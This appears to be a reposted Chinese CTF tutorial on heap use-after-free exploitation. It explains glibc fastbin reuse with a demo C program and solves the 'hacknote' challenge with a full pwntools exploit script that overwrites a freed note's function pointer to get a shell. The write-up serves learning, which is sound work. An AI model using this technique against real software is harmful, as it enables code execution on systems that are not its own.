堆、UAF之PWN从实验到原理

admin 2022年7月8日18:25:39评论24 views字数 2133阅读7分6秒阅读模式

堆、UAF之PWN从实验到原理

本文为看雪论坛优秀文章
看雪论坛作者ID:洋洋不得意


开局一段代码:
#include <stdio.h> void func1(){    printf("func1n");} void hack(){    printf("hackn");} struct Pfunc{    void (*p)();};  int main(){    struct Pfunc* lpfunc = malloc(8);    lpfunc->p = func1;    lpfunc->p();     free(lpfunc);      long* hack_point = malloc(8);    *hack_point = hack;     lpfunc->p();    return 0;}

编译32位:gcc -g -m32 test.c

猜一猜程序会怎么执行?
堆、UAF之PWN从实验到原理
为啥会这样呢?

glibc的ptmalloc在管理释放的内存叫bin,申请的堆块叫chunk
其中小chunk内存管理器叫fastbins,使用的是 LIFO的规则,后进先出。所以申请同样大小的小chunk,会使用最后一次free的chunk
执行完free过后,fastbins中存放了刚刚free的指针0x804b000。
堆、UAF之PWN从实验到原理
执行malloc(8)后,看到fastbins中的chunk指针没有了。
堆、UAF之PWN从实验到原理
看下hack_point的地址,确实是刚刚free的地址,此时两个指针指向同一块内存。
堆、UAF之PWN从实验到原理
为啥这两个指针=0x0804b008,而fastbins存的0x0804b000

在32位下chunk的结构:
struct chunk{    size_t 暂时不管;    size_t size;//低3位不算长度    char user_data[0];}
刚好偏移是8。

ok,搞清楚原理了,来一道题:hacknote.程序提供了记事本功能。
堆、UAF之PWN从实验到原理
其中add_note函数在notelist中找一个空位置用来写日记,但是删除日记del_note函数中却没有把指针置空。print_note函数可以使用已经free的指针,存在UAF漏洞。
堆、UAF之PWN从实验到原理
堆、UAF之PWN从实验到原理
堆、UAF之PWN从实验到原理
现在的目标就是,把notelist[x]->pFunc= magic,然后使用已经free的notelist[x]。
堆、UAF之PWN从实验到原理
具体操作如下:

1、因为noteNode的大小为8,如果想准确控制第二个noteNode的pFunc,那么noteNode->note的大小不能是8。创建两个24字节的note后内存长这样:

堆、UAF之PWN从实验到原理
对照:
堆、UAF之PWN从实验到原理

2、依次free  note[0],note[1],试fastbins变成这样:
堆、UAF之PWN从实验到原理
0x804b030是note[1]的chunk,0x804b000是note[0]的chunk
也就是之后malloc(8)的时候,第一次会得到0x804b030,第二次会得到0x804b000。

3、创建note[2],使note的大小=8,此时note的地址是0x804b008,仔细看看这个地址,就是note[0]的pFunc。把magic的地址写入,
这时候note[0]->pFunc的值就是magic了。
堆、UAF之PWN从实验到原理
堆、UAF之PWN从实验到原理

4、执行print_note(0) 执行0号note的pFunc函数,getshell。堆、UAF之PWN从实验到原理

exp:
from pwn import * context.log_level = 'debug' sh = process("./hacknote")# sh = gdb.debug("./hacknote", "b *add_notenc")elf = ELF("./hacknote")  def add_note(size, note=b"123"):    sh.sendlineafter(b"Your choice :", b"1")    sh.sendlineafter(b"Note size :", str(size).encode())    sh.sendlineafter(b"Content :", note) def del_note(index):    sh.sendlineafter(b"Your choice :", b"2")    sh.sendlineafter(b"Index :", str(index).encode()) def print_note(index):    sh.sendlineafter(b"Your choice :", b"3")    sh.sendlineafter(b"Index :", str(index).encode()) add_note(24)add_note(24) del_note(0)del_note(1) add_note(8, p32(elf.sym["magic"]))print_note(0) sh.interactive()pause()



堆、UAF之PWN从实验到原理


看雪ID:洋洋不得意

https://bbs.pediy.com/user-home-861996.htm

*本文由看雪论坛 洋洋不得意 原创,转载请注明来自看雪社区

堆、UAF之PWN从实验到原理



# 往期推荐

1.Frida inlineHook原理分析及简单设计一款AArch64 inlineHook工具

2.PWN学习笔记【格式化字符串漏洞练习】

3.2022 CISCN初赛 Satool

4.练习1个Kimsuky样本

5.SVC的TraceHook沙箱的实现&无痕Hook实现思路

6.补丁分析到滥用GDI对象提权实践



堆、UAF之PWN从实验到原理



堆、UAF之PWN从实验到原理

球分享

堆、UAF之PWN从实验到原理

球点赞

堆、UAF之PWN从实验到原理

球在看



堆、UAF之PWN从实验到原理

点击“阅读原文”,了解更多!

原文始发于微信公众号(看雪学苑):堆、UAF之PWN从实验到原理

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月8日18:25:39
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   堆、UAF之PWN从实验到原理http://cn-sec.com/archives/1167308.html

发表评论

匿名网友 填写信息